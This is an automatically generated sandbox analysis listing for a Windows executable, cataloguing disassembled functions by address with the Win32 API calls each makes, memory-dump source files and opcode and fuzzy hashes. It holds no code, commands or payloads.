Instruction Fuzzy Hash: 6C318D71108340AFD301EF54C881BAFBBE8EFD9354F54492DF585861A2EB71A989CB93

Function 00A78FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009F9BB2

GetCursorPos.USER32(?), ref: 00A79001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00A37711,?,?,?,?,?), ref: 00A79016
GetCursorPos.USER32(?), ref: 00A7905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00A37711,?,?,?), ref: 00A79094

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 6e2568b116f9b8f4b779ca1b231a9368ab025e5c38adc6036b3d334f4aba4f16
Instruction ID: a73ccfc85fde10fddc8bb48123628d4946f018774448a24488fbcaa13145cd9a
Opcode Fuzzy Hash: 6e2568b116f9b8f4b779ca1b231a9368ab025e5c38adc6036b3d334f4aba4f16
Instruction Fuzzy Hash: BC218D35610018AFDB25CF94CC98EFB7BB9FB89360F14C15AF90947261C3329992DB61

Function 00A4D2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00A7CB68), ref: 00A4D2FB
GetLastError.KERNEL32 ref: 00A4D30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 00A4D319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00A7CB68), ref: 00A4D376

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 372e6769273ff5894a3516332b17eae2bc062d24404d96370ee51b5a076b519f
Instruction ID: 240da16770b90e38ff67945fada7502e5a633a82a2181d480bebd12ae0f67b1e
Opcode Fuzzy Hash: 372e6769273ff5894a3516332b17eae2bc062d24404d96370ee51b5a076b519f
Instruction Fuzzy Hash: 3721A3785042019FC710EF64C8814AA77E4EFD5324F508A5DF499DB2A1E731ED46CB93

Function 00A41571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A41014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00A4102A
Part of subcall function 00A41014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00A41036
Part of subcall function 00A41014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00A41045
Part of subcall function 00A41014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00A4104C
Part of subcall function 00A41014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00A41062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00A415BE
_memcmp.LIBVCRUNTIME ref: 00A415E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A41617
HeapFree.KERNEL32(00000000), ref: 00A4161E

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: e924297dd1269f76adf504a6d3c11479796e33f3abe32a432399575c446a9c29
Instruction ID: 2573c2352fe244460d9889787582f946196d345ecbdc6c679246b2cef993891a
Opcode Fuzzy Hash: e924297dd1269f76adf504a6d3c11479796e33f3abe32a432399575c446a9c29
Instruction Fuzzy Hash: 7C219A31E00218EFDF00DFA4C945BEEB7B8EF84354F098459E445AB241E730AA85CBA1

Function 00A72782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00A7280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00A72824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00A72832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00A72840

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: eaea24416d79c4248a06704ff82f5e6f7704c5e7801cd0d3061c3e92e30136a5
Instruction ID: 499ba98fdd2d8645383fb416dced10d4b616f5a79124485c54ea5855e091f9ed
Opcode Fuzzy Hash: eaea24416d79c4248a06704ff82f5e6f7704c5e7801cd0d3061c3e92e30136a5
Instruction Fuzzy Hash: 8521AF31604511AFD715DB24CC45FAA7BA9AF85324F14C15CF42A8B6E2CB72FC82CB91

Function 00A5CE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 00A5CE89
GetLastError.KERNEL32(?,00000000), ref: 00A5CEEA
SetEvent.KERNEL32(?,?,00000000), ref: 00A5CEFE

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: fcd1db116bf7ff6fce009706a531be53caa3ce5ff9f48ec8f4fd979562eac110
Instruction ID: 720456567f574fc8e3fdc4ba7d25648e9538cd9540182824662160de33b00af8
Opcode Fuzzy Hash: fcd1db116bf7ff6fce009706a531be53caa3ce5ff9f48ec8f4fd979562eac110
Instruction Fuzzy Hash: 5B219D71500305AFE720DFA5D949BA6B7FCFB40365F10881EE946A2191E770EE498B90

Function 00A478F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A48D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,00A4790A,?,000000FF,?,00A48754,00000000,?,0000001C,?,?), ref: 00A48D8C
Part of subcall function 00A48D7D: lstrcpyW.KERNEL32(00000000,?), ref: 00A48DB2
Part of subcall function 00A48D7D: lstrcmpiW.KERNEL32(00000000,?,00A4790A,?,000000FF,?,00A48754,00000000,?,0000001C,?,?), ref: 00A48DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00A48754,00000000,?,0000001C,?,?,00000000), ref: 00A47923
lstrcpyW.KERNEL32(00000000,?), ref: 00A47949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00A48754,00000000,?,0000001C,?,?,00000000), ref: 00A47984

Strings

cdecl, xrefs: 00A4797B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 62ba95e27345ad50ce2b749ffa951c53ba2af50933365ae2b458e31025b5fbaa
Instruction ID: ab0acb2437251cb354436694ebea459d431b33e70662abc13351dd508473a4bd
Opcode Fuzzy Hash: 62ba95e27345ad50ce2b749ffa951c53ba2af50933365ae2b458e31025b5fbaa
Instruction Fuzzy Hash: 5511E63E200382ABCB159F34DC45E7E77A9FFC5350B50802AF946CB2A5EB719851C7A1

Function 00A77CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00A77D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00A77D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00A77D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00A5B7AD,00000000), ref: 00A77D6B

Part of subcall function 009F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009F9BB2

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: c396d63df7b79dce37475d42963f95d5906560282ce3d13a27b17ce43b257ace
Instruction ID: b29e1c22c16b6ec7dba0dca9265dfe9bf60e4cf0e86fc07e4d649408523480eb
Opcode Fuzzy Hash: c396d63df7b79dce37475d42963f95d5906560282ce3d13a27b17ce43b257ace
Instruction Fuzzy Hash: D911CD31204614AFCB20CFA8CC04AAA3BA4AF45370B15C728F83DC72F1D7318961DB80

Function 00A75660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 00A756BB
_wcslen.LIBCMT ref: 00A756CD
_wcslen.LIBCMT ref: 00A756D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 00A75816

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: ce72cc0fbd556e0fbe2078722884b5add67aef36d5e36cab575d0ec18f85ff5f
Instruction ID: 6c312e4c687cfba12f9633ceaf88d6824afc16ab4a5ffe1d09266bd84cf63b03
Opcode Fuzzy Hash: ce72cc0fbd556e0fbe2078722884b5add67aef36d5e36cab575d0ec18f85ff5f
Instruction Fuzzy Hash: 8C11B171E00608A6DB20DFB19C85AEE77BCBF11761F50C42AFA1DD6081E7B49A80CB60

Function 00A11D09 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8e67b465d0b0965368f9482556dc54f6b40681f6627d130d77c3c86093a6a56
Instruction ID: 7a6cea9bc530399c16255bc3aafe019c2b71ed63c1a1f0fc1543876e0b377a85
Opcode Fuzzy Hash: a8e67b465d0b0965368f9482556dc54f6b40681f6627d130d77c3c86093a6a56
Instruction Fuzzy Hash: A80162B22096167EF61116B87CC1FA7666DDF817B8B340329F621551D2DB608C915160

Function 00A41A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00A41A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00A41A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00A41A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00A41A8A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f72a223ce1e94407d47f00999362b2fe03fe873478010fb44017bc5ba59fe39a
Instruction ID: d6e41136e51368ba729be845ba1c236ab4fc4f90830fbdb63f8f102b0d41862d
Opcode Fuzzy Hash: f72a223ce1e94407d47f00999362b2fe03fe873478010fb44017bc5ba59fe39a
Instruction Fuzzy Hash: 15113C3AD01219FFEB10DBA4CD85FADBB78EB04750F2004A5E604B7290D6716E50DB94

Function 00A4E1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00A4E1FD
MessageBoxW.USER32(?,?,?,?), ref: 00A4E230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00A4E246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00A4E24D

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: d7278759842da5f3161ee589ddee27c4283ba9d7056977d37379ccdbae5ff6a0
Instruction ID: 95ffd5f735e3f66edc9ac22c7134a31625f9500294edd7e8d04bde5190f319d7
Opcode Fuzzy Hash: d7278759842da5f3161ee589ddee27c4283ba9d7056977d37379ccdbae5ff6a0
Instruction Fuzzy Hash: FB110876904214BBCB01DBE89C05ADF7FECAB85320F408329F915E7291E6B0890187A0

Function 00A0D1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,00A0CFF9,00000000,00000004,00000000), ref: 00A0D218
GetLastError.KERNEL32 ref: 00A0D224
__dosmaperr.LIBCMT ref: 00A0D22B
ResumeThread.KERNEL32(00000000), ref: 00A0D249

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: 832c8cc2926075f00f11b1e0a760e405737eae5653d5e93afe69d9592067de91
Instruction ID: 56ec073d200a18acf10dadfad81c8e15a5d1703cd2a2fe882d266ff53771bfad
Opcode Fuzzy Hash: 832c8cc2926075f00f11b1e0a760e405737eae5653d5e93afe69d9592067de91
Instruction Fuzzy Hash: 5E01C03780520CBBDB21ABE5EC09BEA7A69EF85730F104319F929A61D0CF70895187A0

Function 009E600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 009E604C
GetStockObject.GDI32(00000011), ref: 009E6060
SendMessageW.USER32(00000000,00000030,00000000), ref: 009E606A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 483cdb40861ad9350ba7f42e7a41fd6214cf3124f50da7ee9f3941fcc327b863
Instruction ID: ca2aa4f76f2d9db83009ce8a4875873541cd330f62689f747c330cffc9b604af
Opcode Fuzzy Hash: 483cdb40861ad9350ba7f42e7a41fd6214cf3124f50da7ee9f3941fcc327b863
Instruction Fuzzy Hash: 1B11AD72101598BFEF129FA69C44EEABB6DEF183A5F004215FA0452020D736ACA0DBA0

Function 00A03B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00A03B56

Part of subcall function 00A03AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00A03AD2
Part of subcall function 00A03AA3: ___AdjustPointer.LIBCMT ref: 00A03AED

_UnwindNestedFrames.LIBCMT ref: 00A03B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00A03B7C
CallCatchBlock.LIBVCRUNTIME ref: 00A03BA4

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: 69e4a26b9d61cd75ec55bba729d08fa70cfd3a56dc1324ce68fe8d587da0b09b
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: 2801177210014CBBDF126F95ED42EEB3B6DFF89758F044414FE4856161C732E9619BA0

Function 00A13073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,009E13C6,00000000,00000000,?,00A1301A,009E13C6,00000000,00000000,00000000,?,00A1328B,00000006,FlsSetValue), ref: 00A130A5
GetLastError.KERNEL32(?,00A1301A,009E13C6,00000000,00000000,00000000,?,00A1328B,00000006,FlsSetValue,00A82290,FlsSetValue,00000000,00000364,?,00A12E46), ref: 00A130B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00A1301A,009E13C6,00000000,00000000,00000000,?,00A1328B,00000006,FlsSetValue,00A82290,FlsSetValue,00000000), ref: 00A130BF

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 368db495e192b04939e868f49799014853fb9bf12ef44e910105ddbca1116b0c
Instruction ID: f952f7d9d79544cfd0ac351ac1962c202d4bfb5391b680788ff95de51101d62a
Opcode Fuzzy Hash: 368db495e192b04939e868f49799014853fb9bf12ef44e910105ddbca1116b0c
Instruction Fuzzy Hash: 1901D873301622ABCF218FB9AC449977BD89F097B1B114624F909E7140D721D982C7E0

Function 00A47464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 00A4747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00A47497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00A474AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 00A474CA

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 5d1a1d27bd04e626abb3482c479a6194dfcecb8c36e19ffb1e50de63867c737b
Instruction ID: 1719fb583e23b9585a300ecfc567ef3364db6bf5b416b622e7f0e123b8f400be
Opcode Fuzzy Hash: 5d1a1d27bd04e626abb3482c479a6194dfcecb8c36e19ffb1e50de63867c737b
Instruction Fuzzy Hash: CE11ADB9205350ABE720CF58DC08BAA7BFCEB80B10F10856DA61AD6191D7B0E944DBA0

Function 00A4B0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00A4ACD3,?,00008000), ref: 00A4B0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00A4ACD3,?,00008000), ref: 00A4B0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00A4ACD3,?,00008000), ref: 00A4B0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00A4ACD3,?,00008000), ref: 00A4B126

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

